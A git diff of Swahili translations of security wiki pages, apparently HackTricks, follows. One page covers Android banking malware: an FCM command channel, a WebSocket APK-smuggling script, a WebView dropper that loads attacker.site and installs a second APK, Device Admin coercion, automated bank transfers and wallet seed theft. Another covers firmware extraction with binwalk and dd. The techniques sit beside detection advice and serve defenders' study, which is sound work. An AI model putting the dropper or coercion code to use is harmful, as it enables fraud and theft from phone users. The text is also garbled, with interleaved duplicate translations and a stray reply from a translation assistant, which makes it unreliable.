- Payload inasajiliwa kwa FCM; ujumbe za push zina sehemu `_type` inayotumika kama switch kuchochea vitendo (mfano: kusasisha kiolezo za maandishi za phishing, kuwasha/kuzima tabia).
### Firebase Cloud Messaging (FCM) kama C2 thabiti
- Payload inajiandikisha kwa FCM; jumbe za push zina uwanja `_type` unaotumika kama kibadili kuanzisha vitendo (mfano, kusasisha templates za phishing, kubadili tabia).
Mfano wa payload ya FCM:
Example FCM payload:
```json
{
"to": "<device_fcm_token>",
@ -186,30 +186,71 @@ case "smish": sendSmishToContacts(); break;
}
}
```
### Mifumo ya uwindaji na IOCs
- APK ina secondary payload kwenye `assets/app.apk`
- WebView inapakia payment kutoka `gate.htm` na inatoa data kwa `/addup.php`
- SMS exfiltration kwa `/addsm.php`
- Shortlink-driven config fetch (e.g., `rebrand.ly/*`) inayorejesha CSV endpoints
- Apps zenye lebo ya generic “Update/Secure Update”
- Ujumbe za FCM `data` zenye `_type` discriminator katika apps zisizo za kuaminika
### Hunting patterns and IOCs
- APK ina payload ya sekondari katika `assets/app.apk`
- WebView inaleta malipo kutoka `gate.htm` na hutuma nje kwa `/addup.php`
- Utoaji nje wa SMS kwa `/addsm.php`
- Uchukuaji wa config unaoendeshwa na shortlink (mf., `rebrand.ly/*`) kurudisha endpoints za CSV
- Apps zenye lebo ya jumla “Update/Secure Update”
- Ujumbe za FCM `data` zenye discriminator `_type` katika apps zisizo za kuaminika
### Mapendekezo ya utambuzi na ulinzi
- Wezesha alama kwa apps zinazowaelekeza watumiaji kuzima network wakati wa ufungaji kisha side-load APK ya pili kutoka `assets/`.
- Toa onyo kwa tuple ya ruhusa: `READ_CONTACTS` + `READ_SMS` + `SEND_SMS` + WebView-based payment flows.
- Ufuatiliaji wa egress kwa `POST /addup.php|/addsm.php` kwenye hosts zisizo za corporate; zuia infrastructure inayojulikana.
- Sheria za Mobile EDR: app isiyo ya kuaminika inayosajiliwa kwa FCM na kuingia kwenye tawi kulingana na `_type` field.
### Mawazo ya ugundaji na ulinzi
- Alama apps zinazowaelekeza watumiaji kuzima mtandao wakati wa ufungaji na kisha side-load APK ya pili kutoka `assets/`.
- Angaza kuhusu tuple ya ruhusa: `READ_CONTACTS` + `READ_SMS` + `SEND_SMS` + mifereji ya malipo ya WebView.
- Ufuatiliaji wa egress kwa `POST /addup.php|/addsm.php` kwenye hosts zisizo za kibiashara; zuia infrastructure inayojulikana.
- Kanuni za Mobile EDR: apps zisizo za kuaminika zinazojisajili kwa FCM na kubranchi kulingana na uwanja `_type`.
---
## Android Accessibility/Overlay & Device Admin Abuse, ATS automation, and NFC relay orchestration RatOn case study
## Socket.IO/WebSocket-based APK Smuggling + Fake Google Play Pages
Kampeni ya RatOn banker/RAT (ThreatFabric) ni mfano halisi wa jinsi operesheni za kisasa za mobile phishing zinavyochanganya WebView droppers, Accessibility-driven UI automation, overlays/ransom, Device Admin coercion, Automated Transfer System (ATS), crypto wallet takeover, na hata NFC-relay orchestration. Sehemu hii inatoa muhtasari wa mbinu zinazoweza kurudiwa.
Wavamizi wanazidi kubadilisha viungo vya APK vya static na channel ya Socket.IO/WebSocket iliyowekwa ndani ya matangazo yanayoonekana kama Google Play. Hii inaficha URL ya payload, inaepuka vichujio vya URL/extension, na inahifadhi UX ya ufungaji yenye mwonekano wa kweli.
Mtiririko wa kawaida wa mteja ulioonekana katika mazingira halisi:
```javascript
// Open Socket.IO channel and request payload
const socket = io("wss://<lure-domain>/ws", { transports: ["websocket"] });
socket.emit("startDownload", { app: "com.example.app" });
// Accumulate binary chunks and drive fake Play progress UI
const chunks = [];
socket.on("chunk", (chunk) => chunks.push(chunk));
socket.on("downloadProgress", (p) => updateProgressBar(p));
// Assemble APK clientside and trigger browser save dialog
socket.on("downloadComplete", () => {
const blob = new Blob(chunks, { type: "application/vnd.android.package-archive" });
const url = URL.createObjectURL(blob);
const a = document.createElement("a");
a.href = url; a.download = "app.apk"; a.style.display = "none";
document.body.appendChild(a); a.click();
});
```
Kwa nini inajiepusha na udhibiti rahisi:
- Hakuna URL ya APK ya statiki inayoonyeshwa; payload inaundwa tena katika kumbukumbu kutoka kwa WebSocket frames.
- Vichujio vya URL/MIME/extension vinavyofunga majibu ya moja kwa moja ya .apk vinaweza kukosa data za binary zilizofunikwa kupitia WebSockets/Socket.IO.
- Crawlers na URL sandboxes ambazo hazitekelezi WebSockets hazitapata payload.
Mbinu za uwindaji na utambuzi:
- Web/network telemetry: weka alama vikao vya WebSocket vinavyopelekesha vipande vikubwa vya binary ikifuatiwa na uundaji wa Blob yenye MIME application/vnd.android.package-archive na click ya programmatiki `<a download>`. Angalia client strings kama socket.emit('startDownload'), na matukio yenye majina chunk, downloadProgress, downloadComplete katika page scripts.
- Play-store spoof heuristics: kwenye domains ambazo si Google zinazotoa kurasa zinazofanana na Play, tafuta Google Play UI strings kama http.html:"VfPpkd-jY41G-V67aGc", templates zenye mchanganyiko wa lugha, na mtiririko bandia wa “verification/progress” unaosukumwa na matukio ya WS.
- Controls: zuia utoaji wa APK kutoka kwa asili zisizo za Google; imweke sera za MIME/extension zinazoashiria trafiki ya WebSocket; hifadhi maonyo ya upakuaji salama ya browser.
Angalia pia mbinu na zana za WebSocket:
{{#ref}}
../../pentesting-web/websocket-attacks.md
{{#endref}}
## Android Accessibility/Overlay & Device Admin Abuse, ATS automation, and NFC relay orchestration RatOn somo la kesi
Kampeni ya RatOn banker/RAT (ThreatFabric) ni mfano wazi wa jinsi operesheni za kisasa za mobile phishing zinavyochanganya WebView droppers, Accessibility-driven UI automation, overlays/ransom, Device Admin coercion, Automated Transfer System (ATS), crypto wallet takeover, na hata NFC-relay orchestration. Sehemu hii inatoa muhtasari wa mbinu zinazoweza kutumika tena.
### Stage-1: WebView → native install bridge (dropper)
Wavamizi wanaonyesha WebView inayorejea kwenye ukurasa wa mshambuliaji na kuingiza JavaScript interface inayofichua native installer. Kugusa kitufe cha HTML kunaita native code ambayo inasakinisha APK ya awamu ya pili iliyojumuishwa katika assets za dropper kisha kuiendesha moja kwa moja.
Washambuliaji huonesha WebView inayolenga ukurasa wa mshambuliaji na kuingiza JavaScript interface inayofungua native installer. Kubofya kitufe cha HTML huita native code ambayo inasakinisha APK ya hatua ya pili iliyowekwa katika assets za dropper na kisha kuizindua moja kwa moja.
Mfano mdogo:
Mfano wa msingi:
```java
public class DropperActivity extends Activity {
@Override protected void onCreate(Bundle b){
@ -238,7 +279,7 @@ wv.loadUrl("https://attacker.site/install.html");
}
}
```
Tafadhali weka hapa HTML au yaliyomo ya ukurasa unayotaka nitoe tafsiri. Nitatafsiri maandishi ya Kiingereza muhimu kwa Kiswahili na nitaacha bilioni za code, tags, links, refs, paths na majina ya huduma zisibadilishwe kama ulivyosema.
Hakuna HTML/maudhui yaliyotolewa. Tafadhali bandika yaliyomo ya ukurasa (HTML/Markdown) hapa ili niweze kutafsiri kwa Kiswahili. Nitahifadhi tags, links, paths, code na maneno maalum bila kutafsiri.
```html
<button onclick="bridge.installApk()">Install</button>
```
@ -248,13 +289,13 @@ Intent i = new Intent();
i.setClassName("com.stage2.core", "com.stage2.core.MainActivity");
startActivity(i);
```
Wazo la kuwinda: maombi yasiyotegemewa yanayoita `addJavascriptInterface()` na kufichua installer-like methods kwa WebView; APK ikisafirisha embedded secondary payload chini ya `assets/` na kuita Package Installer Session API.
Wazo la upelelezi: apps zisizotegemewa zinapiga simu `addJavascriptInterface()` na kufichua njia zinazofanana na installer kwa WebView; APK inasafirisha payload sekondari iliyowekwa chini ya `assets/` na kuita Package Installer Session API.
### Mfereji wa idhini: Accessibility + Device Admin + maombi ya runtime yanayofuata
Stage-2 hufungua WebView inayoweka ukurasa wa “Access”. Kitufe chake kinaita exported method ambayo inaelekeza mwenye madhara kwenye mipangilio ya Accessibility na kuomba kuwezesha rogue service. Mara inapopewa, malware hutumia Accessibility kubonyeza kiotomatiki kupitia dialog za ruhusa za runtime zinazofuata (contacts, overlay, manage system settings, n.k.) na kuomba Device Admin.
### Mchakato wa ridhaa: Accessibility + Device Admin + follow-on runtime prompts
Stage-2 hufungua WebView inayoshikilia ukurasa wa “Access”. Kitufe chake kinafanya call kwa exported method inayompeleka mwathiriwa kwenye mipangilio ya Accessibility na kuomba kuamilisha huduma haribifu. Mara inapopokelewa, malware inatumia Accessibility kubofya kwa njia ya kiotomatiki kupitia dialog za ruhusa za runtime zinazofuata (contacts, overlay, manage system settings, n.k.) na kuomba Device Admin.
- Accessibility kwa programu husaidia kukubali maombi ya baadaye kwa kutafuta vitufe kama “Allow”/“OK” kwenye node-tree na kutekeleza bonyeza.
- Uhakiki/ombi la ruhusa ya overlay:
- Accessibility kwa njia ya programu husaidia kukubali ombi za baadaye kwa kutafuta vitufe kama “Allow”/“OK” katika node-tree na kutekeleza clicks.
- Overlay permission check/request:
```java
if (!Settings.canDrawOverlays(ctx)) {
Intent i = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION,
@ -268,19 +309,19 @@ Angalia pia:
../../mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md
{{#endref}}
### Overlay phishing/ransom via WebView
Operators wanaweza kutoa amri za kufanya:
### Overlay phishing/ransom kupitia WebView
Watendaji wanaweza kutoa amri za:
- kuonyesha overlay ya skrini nzima kutoka kwa URL, au
- kupitisha inline HTML inayopakiwa ndani ya overlay ya WebView.
- kupitisha HTML ya inline ambayo inapakiwa ndani ya overlay ya WebView.
Matumizi yanayoweza: kulazimisha (kuingiza PIN), kufungua wallet ili kunasa PINs, ujumbe wa fidia. Weka amri ili kuhakikisha ruhusa ya overlay imetolewa kama haipo.
Matumizi inayowezekana: shinikizo (kuingiza PIN), kufungua mkoba ili kunasa PINs, ujumbe wa ransom. Weka amri kuhakikisha ruhusa ya overlay imetolewa ikiwa haipo.
### Remote control model text pseudo-screen + screen-cast
- Low-bandwidth: mara kwa mara toa dump ya Accessibility node tree, serialize maandishi/roles/bounds yanayoonekana na uyatumie kwa C2 kama pseudo-screen (amri kama `txt_screen` mara moja na `screen_live` kuendelea).
- High-fidelity: omesha MediaProjection na anzisha screen-casting/recording kwa mahitaji (amri kama `display` / `record`).
### Mfano wa udhibiti wa mbali skrini bandia ya maandishi + screen-cast
- Bandwidth ya chini: mara kwa mara toa mti wa Accessibility nodes, serialize maandishi/roles/bounds yanayoonekana na uyatume kwa C2 kama skrini bandia (amri kama `txt_screen` mara moja na `screen_live` mfululizo).
- Ubora wa juu: omba MediaProjection na anza screen-casting/recording kwa mahitaji (amri kama `display` / `record`).
### ATS playbook (bank app automation)
Kutolewa kazi ya JSON, fungua app ya banki, endesha UI kupitia Accessibility kwa mchanganyiko wa maswali ya maandishi na kugusa kwa kuratibu, na ingiza PIN ya malipo ya mhasiriwa wakati unapofikiwa kuomba.
Kutokana na kazi ya JSON, fungua app ya benki, endesha UI kupitia Accessibility kwa mchanganyiko wa maswali ya maandishi na taps za kuratibu, na ingiza PIN ya malipo ya mwathiriwa wakati utaombwa.
Mfano wa kazi:
```json
@ -297,42 +338,42 @@ Mifano ya maandishi yaliyoonekana katika mtiririko mmoja wa lengo (CZ → EN):
- "Zadat platbu" → "Ingiza malipo"
- "Nový příjemce" → "Mpokeaji mpya"
- "Domácí číslo účtu" → "Nambari ya akaunti ya ndani"
- "Další" → "Ifuatayo"
- "Další" → "Ijayo"
- "Odeslat" → "Tuma"
- "Ano, pokračovat" → "Ndiyo, endelea"
- "Zaplatit" → "Lipa"
- "Hotovo" → "Imekamilika"
Waendeshaji pia wanaweza kuangalia/kuongeza vizingiti vya uhamisho kupitia amri kama `check_limit` na `limit` ambazo zinaelekeza kwenye UI ya vizingiti kwa njia sawa.
Waendeshaji pia wanaweza kuangalia/kuongeza mipaka ya uhamisho kwa kutumia amri kama `check_limit` na `limit` ambazo zinaelekeza kwenye UI ya mipaka kwa njia ile ile.
### Crypto wallet seed extraction
Malengo kama MetaMask, Trust Wallet, Blockchain.com, Phantom. Mtiririko: fungua (PIN iliyopelewa au nywila iliyotolewa), nenda kwenye Security/Recovery, funua/onyesha seed phrase, keylog/exfiltrate it. Tekeleza locale-aware selectors (EN/RU/CZ/SK) ili kusawazisha urambazaji kati ya lugha.
Malengo kama MetaMask, Trust Wallet, Blockchain.com, Phantom. Mtiririko: fungua (PIN iliyoporwa au nywila iliyotolewa), enda kwenye Security/Recovery, funua/onyesha seed phrase, keylog/exfiltrate. Tekeleza locale-aware selectors (EN/RU/CZ/SK) ili kuimarisha urambazaji kwa lugha mbalimbali.
### Device Admin coercion
Device Admin APIs zinatumika kuongeza fursa za kunasa PIN na kumkasirisha mhusika:
Device Admin APIs zinatumiwa kuongeza fursa za kunasa PIN na kumfadhaisha mlengwa:
- Kufunga mara moja:
```java
dpm.lockNow();
```
- Sababisha uthibitisho uliopo uishe ili kulazimisha kubadilisha (Accessibility inakamata PIN/nenosiri mpya):
- Sababisha credential ya sasa kuisha ili kulazimisha mabadiliko (Accessibility inakamata PIN/nenosiri mpya):
```java
dpm.setPasswordExpirationTimeout(admin, 1L); // requires admin / often owner
```
- Lazimisha ufunguaji usiotumia biometria kwa kuzima vipengele vya biometria vya keyguard:
- Lazimisha kufungua bila biometric kwa kuzima vipengele vya keyguard biometric:
```java
dpm.setKeyguardDisabledFeatures(admin,
DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS);
```
Kumbuka: Mifumo mingi ya DevicePolicyManager inahitaji Device Owner/Profile Owner kwenye Android za hivi karibuni; baadhi ya builds za OEM zinaweza kuwa na udhaifu. Daima thibitisha kwenye OS/OEM lengwa.
Kumbuka: Taarifa nyingi za DevicePolicyManager zinahitaji Device Owner/Profile Owner kwenye Android za hivi punde; baadhi ya ujenzi wa OEM yanaweza kuwa wavivu. Daima thibitisha kwenye OS/OEM lengwa.
### NFC relay orchestration (NFSkate)
Stage-3 inaweza kusakinisha na kuanzisha module ya nje ya NFC-relay (mfano, NFSkate) na hata kumpa kiolezo cha HTML kumwongoza mwathiriwa wakati wa relay. Hii inawezesha contactless card-present cash-out pamoja na ATS mtandaoni.
### Kuendesha NFC relay (NFSkate)
Stage-3 inaweza kusanidisha na kuanzisha moduli ya nje ya NFC-relay (kwa mfano, NFSkate) na hata kumpa template ya HTML kumwongoza muathiriwa wakati wa relay. Hii inawawezesha contactless card-present cash-out pamoja na online ATS.
Muktadha: [NFSkate NFC relay](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay).
Background: [NFSkate NFC relay](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay).
### Operator command set (sample)
### Seti ya amri za operator (mfano)
- UI/state: `txt_screen`, `screen_live`, `display`, `record`
- Social: `send_push`, `Facebook`, `WhatsApp`
- Overlays: `overlay` (inline HTML), `block` (URL), `block_off`, `access_tint`
@ -342,13 +383,13 @@ Muktadha: [NFSkate NFC relay](https://www.threatfabric.com/blogs/ghost-tap-new-c
- Comms/Recon: `update_device`, `send_sms`, `replace_buffer`, `get_name`, `add_contact`
- NFC: `nfs`, `nfs_inject`
### Mawazo ya kugundua & ulinzi (mtindo wa RatOn)
- Tafuta WebViews zenye `addJavascriptInterface()` zinazoonyesha njia za installer/permission; kurasa zinazoisha kwa “/access” zinazochochea prompts za Accessibility.
- Toa tahadhari kwa apps zinazozalisha mwendo wa juu wa vitendo/vibonye vya Accessibility muda mfupi baada ya huduma kupewa ruhusa; telemetry inayofanana na Accessibility node dumps ikitumwa kwa C2.
- Angalia mabadiliko ya sera za Device Admin katika apps zisizotumika: `lockNow`, kuisha kwa password, kugeuza vipengele vya keyguard.
- Taarifu kuhusu prompts za MediaProjection kutoka kwa apps zisizo za kampuni na kufuatiliwa na uplodi za fremu kwa vipindi.
- Gundua usakinishaji/kuanzishwa kwa app ya nje ya NFC-relay iliyoamshwa na app nyingine.
- Kwa benki: itekeleze uthibitisho wa nje-ya-bandwidth, kufunga kwa biometrics, na mipaka ya miamala isiyoweza kupitishwa na uendeshaji wa kiotomatiki kwenye kifaa.
### Mawazo ya utambuzi na ulinzi (RatOn-style)
- Tafuta WebViews zenye `addJavascriptInterface()` zinazofichua njia za installer/permission; kurasa zinazomalizika kwa “/access” zinazochochea prompti za Accessibility.
- Toa tahadhari kwa apps zinazozalisha ishara/bonyeza za Accessibility kwa kiwango kikubwa hivi karibuni baada ya kupewa ufikiaji wa huduma; telemetry inayofanana na Accessibility node dumps inayotumwa kwa C2.
- Simamia mabadiliko ya sera za Device Admin katika apps zisizotegemewa: `lockNow`, password expiration, toggles za vipengele vya keyguard.
- Toa tahadhari kwa prompti za MediaProjection kutoka apps zisizo za kibiashara zikifuatiwa na upakiaji wa fremu kwa vipindi.
- Gundua usakinishaji/kuanzishwa kwa app ya nje ya NFC-relay iliyochochewa na app nyingine.
- Kwa benki: lekeza out-of-band confirmations, biometrics-binding, na transaction-limits zisizo rahisi kwa automation inayofanywa kwenye kifaa.
## References
@ -358,5 +399,8 @@ Muktadha: [NFSkate NFC relay](https://www.threatfabric.com/blogs/ghost-tap-new-c
- [Firebase Cloud Messaging — Docs](https://firebase.google.com/docs/cloud-messaging)
- [The Rise of RatOn: From NFC heists to remote control and ATS (ThreatFabric)](https://www.threatfabric.com/blogs/the-rise-of-raton-from-nfc-heists-to-remote-control-and-ats)
- [GhostTap/NFSkate NFC relay cash-out tactic (ThreatFabric)](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay)
- [Banker Trojan Targeting Indonesian and Vietnamese Android Users (DomainTools)](https://dti.domaintools.com/banker-trojan-targeting-indonesian-and-vietnamese-android-users/)
- [DomainTools SecuritySnacks ID/VN Banker Trojans (IOCs)](https://github.com/DomainTools/SecuritySnacks/blob/main/2025/BankerTrojan-ID-VN)
- [Socket.IO](https://socket.io)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,4 +1,4 @@
# Firmware Analysis
# Uchambuzi wa Firmware
{{#include ../../banners/hacktricks-training.md}}
@ -6,46 +6,52 @@
### Rasilimali zinazohusiana
{{#ref}}
synology-encrypted-archive-decryption.md
{{#endref}}
Firmware ni programu muhimu inayowezesha vifaa kufanya kazi ipasavyo kwa kusimamia na kuwezesha mawasiliano kati ya vipengele vya vifaa na programu ambayo watumiaji wanashirikiana nayo. Inahifadhiwa katika kumbukumbu ya kudumu, kuhakikisha kwamba kifaa kinaweza kufikia maagizo muhimu tangu wakati kinapowashwa, na kusababisha uzinduzi wa mfumo wa uendeshaji. Kuchunguza na labda kubadilisha firmware ni hatua muhimu katika kubaini udhaifu wa usalama.
{{#ref}}
../../network-services-pentesting/32100-udp-pentesting-pppp-cs2-p2p-cameras.md
{{#endref}}
Firmware ni programu muhimu inayowezesha vifaa kufanya kazi vizuri kwa kusimamia na kuwezesha mawasiliano kati ya vipengele vya hardware na programu ambazo watumiaji wanazitumia. Imehifadhiwa katika kumbukumbu ya kudumu, ikihakikisha kifaa kinaweza kupata maagizo muhimu tangu linapowashwa, na kusababisha uzinduzi wa operating system. Kuchunguza na labda kubadilisha firmware ni hatua muhimu katika kubaini udhaifu wa usalama.
## **Kukusanya Taarifa**
**Kukusanya taarifa** ni hatua ya awali muhimu katika kuelewa muundo wa kifaa na teknolojia zinazotumika. Mchakato huu unahusisha kukusanya data kuhusu:
**Kukusanya taarifa** ni hatua muhimu ya mwanzo kwa kuelewa muundo wa kifaa na teknolojia zinazotumika. Mchakato huu unajumuisha kukusanya data kuhusu:
- Mifumo ya CPU na mfumo wa uendeshaji unaotumika
- Maelezo ya bootloader
- Mpangilio wa vifaa na karatasi za data
- Vipimo vya msingi wa msimbo na maeneo ya chanzo
- Architecture ya CPU na operating system inayoendesha
- Bootloader specifics
- Muundo wa hardware na datasheets
- Metriki za codebase na maeneo ya chanzo
- Maktaba za nje na aina za leseni
- Historia za sasisho na vyeti vya udhibiti
- Mchoro wa usanifu na mtiririko
- Tathmini za usalama na udhaifu ulioainishwa
- Rekodi za masasisho na vyeti vya udhibiti
- Mchoro wa miundo na mtiririko
- Tathmini za usalama na udhaifu uliobainishwa
Kwa kusudi hili, zana za **intelligence ya chanzo wazi (OSINT)** ni muhimu, kama vile uchambuzi wa vipengele vyovyote vya programu za chanzo wazi vinavyopatikana kupitia mchakato wa ukaguzi wa mikono na wa kiotomatiki. Zana kama [Coverity Scan](https://scan.coverity.com) na [Semmles LGTM](https://lgtm.com/#explore) hutoa uchambuzi wa statiki bure ambao unaweza kutumika kugundua matatizo yanayoweza kutokea.
Kwa madhumuni haya, open-source intelligence (OSINT) tools ni muhimu sana, kama vile uchanganuzi wa vipengele vya programu vinavyopatikana kwa chanzo wazi kupitia ukaguzi wa mikono na wa moja kwa moja. Zana kama [Coverity Scan](https://scan.coverity.com) na [Semmles LGTM](https://lgtm.com/#explore) hutoa static analysis ya bure ambayo inaweza kutumika kutafuta matatizo yanayowezekana.
## **Kupata Firmware**
Kupata firmware kunaweza kufanywa kwa njia mbalimbali, kila moja ikiwa na ngazi yake ya ugumu:
- **Moja kwa moja** kutoka kwa chanzo (waendelezaji, watengenezaji)
- **Kujenga** kutoka kwa maelekezo yaliyotolewa
- **Kupakua** kutoka kwenye tovuti rasmi za msaada
- Kutumia **Google dork** maswali ya kutafuta faili za firmware zilizohifadhiwa
- Kufikia **hifadhi ya wingu** moja kwa moja, kwa kutumia zana kama [S3Scanner](https://github.com/sa7mon/S3Scanner)
- Kukamata **sasisho** kupitia mbinu za mtu katikati
- **Kutoa** kutoka kwa kifaa kupitia muunganisho kama **UART**, **JTAG**, au **PICit**
- **Kusikiliza** maombi ya sasisho ndani ya mawasiliano ya kifaa
- Kutambua na kutumia **nukta za sasisho zilizowekwa**
- **Kutoa** kutoka kwa bootloader au mtandao
- **Kuondoa na kusoma** chip ya uhifadhi, wakati njia zote zinafeli, kwa kutumia zana sahihi za vifaa
- **Directly** kutoka kwa chanzo (developers, manufacturers)
- **Building** kutoka kwa maelekezo yaliyotolewa
- **Downloading** kutoka kwenye tovuti za msaada rasmi
- Kutumia **Google dork** queries kutafuta faili za firmware zilizo mwenyeji
- Kupata **cloud storage** moja kwa moja, kwa zana kama [S3Scanner](https://github.com/sa7mon/S3Scanner)
- Kupatanisha **updates** kupitia man-in-the-middle techniques
- **Extracting** kutoka kwenye kifaa kupitia muunganisho kama **UART**, **JTAG**, au **PICit**
- **Sniffing** kwa ajili ya ombi za update ndani ya mawasiliano ya kifaa
- Kutambua na kutumia **hardcoded update endpoints**
- **Dumping** kutoka kwa bootloader au mtandao
- **Removing and reading** the storage chip, wakati yote mengine yanashindwa, kwa kutumia vifaa vya vifaa vinavyofaa
## Kuchambua firmware
## Analyzing the firmware
Sasa kwamba **una firmware**, unahitaji kutoa taarifa kuhusu hiyo ili kujua jinsi ya kuitendea. Zana tofauti unazoweza kutumia kwa hiyo:
Sasa unapokuwa na firmware, unahitaji kutoa taarifa kuhusu ili kujua jinsi ya kuitibu. Zana tofauti unaweza kutumia kwa hilo:
```bash
file <bin>
strings -n8 <bin>
@ -54,24 +60,25 @@ hexdump -C -n 512 <bin> > hexdump.out
hexdump -C <bin> | head # might find signatures in header
fdisk -lu <bin> #lists a drives partition and filesystems if multiple
```
Ikiwa hujapata mengi na zana hizo, angalia **entropy** ya picha kwa kutumia `binwalk -E <bin>`, ikiwa entropy ni ya chini, basi haiwezekani kuwa imefungwa. Ikiwa entropy ni ya juu, inawezekana kuwa imefungwa (au imepandwa kwa njia fulani).
If you don't find much with those tools check the **entropy** of the image with `binwalk -E <bin>`, if low entropy, then it's not likely to be encrypted. If high entropy, Its likely encrypted (or compressed in some way).
Moreover, you can use these tools to extract **files embedded inside the firmware**:
Zaidi ya hayo, unaweza kutumia zana hizi kutoa **faili zilizojumuishwa ndani ya firmware**:
{{#ref}}
../../generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md
{{#endref}}
Au [**binvis.io**](https://binvis.io/#/) ([code](https://code.google.com/archive/p/binvis/)) kuchunguza faili hiyo.
Or [**binvis.io**](https://binvis.io/#/) ([code](https://code.google.com/archive/p/binvis/)) kuchunguza file.
### Kupata Mfumo wa Faili
### Kupata Filesystem
Kwa zana zilizotajwa hapo awali kama `binwalk -ev <bin>`, unapaswa kuwa umeweza **kutoa mfumo wa faili**.\
Binwalk kawaida hutoa ndani ya **folda iliyopewa jina kama aina ya mfumo wa faili**, ambayo mara nyingi ni mojawapo ya yafuatayo: squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs.
With the previous commented tools like `binwalk -ev <bin>` you should have been able to **extract the filesystem**.\
Binwalk usually extracts it inside a **folder named as the filesystem type**, which usually is one of the following: squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs.
#### Utoaji wa Mfumo wa Faili kwa Mikono
#### Utoaji wa filesystem kwa mikono
Wakati mwingine, binwalk **haitakuwa na byte ya kichawi ya mfumo wa faili katika saini zake**. Katika kesi hizi, tumia binwalk **kupata offset ya mfumo wa faili na kuchonga mfumo wa faili uliofinywa** kutoka kwa binary na **kutoa kwa mikono** mfumo wa faili kulingana na aina yake kwa kutumia hatua zilizo hapa chini.
Sometimes, binwalk will **not have the magic byte of the filesystem in its signatures**. In these cases, use binwalk to **find the offset of the filesystem and carve the compressed filesystem** from the binary and **manually extract** the filesystem according to its type using the steps below.
```
$ binwalk DIR850L_REVB.bin
@ -83,7 +90,7 @@ DECIMAL HEXADECIMAL DESCRIPTION
1704052 0x1A0074 PackImg section delimiter tag, little endian size: 32256 bytes; big endian size: 8257536 bytes
1704084 0x1A0094 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 8256900 bytes, 2688 inodes, blocksize: 131072 bytes, created: 2016-07-12 02:28:41
```
Kimbia amri ifuatayo ya **dd** ikichora mfumo wa faili wa Squashfs.
Endesha **dd command** ifuatayo ili kuchonga Squashfs filesystem.
```
$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
@ -93,25 +100,25 @@ $ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
8257536 bytes (8.3 MB, 7.9 MiB) copied, 12.5777 s, 657 kB/s
```
Alternately, amri ifuatayo inaweza pia kutekelezwa.
Mbali na hayo, amri ifuatayo pia inaweza kutumika.
`$ dd if=DIR850L_REVB.bin bs=1 skip=$((0x1A0094)) of=dir.squashfs`
- Kwa squashfs (iliyotumika katika mfano hapo juu)
- Kwa squashfs (ililotumika katika mfano hapo juu)
`$ unsquashfs dir.squashfs`
Faili zitakuwa katika "`squashfs-root`" directory baada ya hapo.
Faili zitawekwa katika saraka ya `squashfs-root` baadaye.
- Faili za archive za CPIO
- Kwa faili za archive za CPIO
`$ cpio -ivd --no-absolute-filenames -F <bin>`
- Kwa mifumo ya faili ya jffs2
- Kwa filesystems za jffs2
`$ jefferson rootfsfile.jffs2`
- Kwa mifumo ya faili ya ubifs yenye NAND flash
- Kwa filesystems za ubifs zenye NAND flash
`$ ubireader_extract_images -u UBI -s <start_offset> <bin>`
@ -119,11 +126,11 @@ Faili zitakuwa katika "`squashfs-root`" directory baada ya hapo.
## Kuchambua Firmware
Mara firmware inapopatikana, ni muhimu kuichambua ili kuelewa muundo wake na uwezekano wa udhaifu. Mchakato huu unahusisha kutumia zana mbalimbali kuchambua na kutoa data muhimu kutoka kwa picha ya firmware.
Mara firmware inapopatikana, ni muhimu kuichambua ili kuelewa muundo wake na vulnerabilities zinazoweza kuwepo. Mchakato huu unahusisha kutumia zana mbalimbali kuchambua na kutoa data muhimu kutoka kwenye firmware image.
### Zana za Uchambuzi wa Awali
Seti ya amri imetolewa kwa ukaguzi wa awali wa faili ya binary (inayorejelewa kama `<bin>`). Amri hizi husaidia katika kubaini aina za faili, kutoa nyuzi, kuchambua data ya binary, na kuelewa maelezo ya sehemu na mfumo wa faili:
Seti ya amri zimetolewa kwa ukaguzi wa awali wa faili ya binary (inayorejelewa kama `<bin>`). Amri hizi husaidia kutambua aina za faili, kutoa strings, kuchambua data ya binary, na kuelewa maelezo ya partition na filesystem:
```bash
file <bin>
strings -n8 <bin>
@ -132,152 +139,152 @@ hexdump -C -n 512 <bin> > hexdump.out
hexdump -C <bin> | head #useful for finding signatures in the header
fdisk -lu <bin> #lists partitions and filesystems, if there are multiple
```
Ili kutathmini hali ya usimbaji wa picha, **entropy** inakaguliwa kwa `binwalk -E <bin>`. Entropy ya chini inaashiria ukosefu wa usimbaji, wakati entropy ya juu inaonyesha uwezekano wa usimbaji au ufinyanzi.
Ili kutathmini hali ya usimbaji ya image, **entropy** inakaguliwa kwa kutumia `binwalk -E <bin>`. Entropy ya chini inaashiria ukosefu wa usimbaji, wakati entropy ya juu inaonyesha uwezekano wa usimbaji au ukandaji.
Kwa ajili ya kutoa **faili zilizojumuishwa**, zana na rasilimali kama vile **file-data-carving-recovery-tools** nyaraka na **binvis.io** kwa ajili ya ukaguzi wa faili zinapendekezwa.
Kwa kutoa **embedded files**, zana na rasilimali kama nyaraka za **file-data-carving-recovery-tools** na **binvis.io** kwa uchunguzi wa faili zinapendekezwa.
### Kutolewa kwa Faili za Mfumo
### Kutoa mfumo wa faili
Kwa kutumia `binwalk -ev <bin>`, mtu anaweza kawaida kutoa mfumo wa faili, mara nyingi katika saraka iliyopewa jina la aina ya mfumo wa faili (mfano, squashfs, ubifs). Hata hivyo, wakati **binwalk** inashindwa kutambua aina ya mfumo wa faili kutokana na kukosekana kwa byte za kichawi, utoaji wa mikono unahitajika. Hii inahusisha kutumia `binwalk` kutafuta offset ya mfumo wa faili, ikifuatiwa na amri ya `dd` ili kuchonga mfumo wa faili:
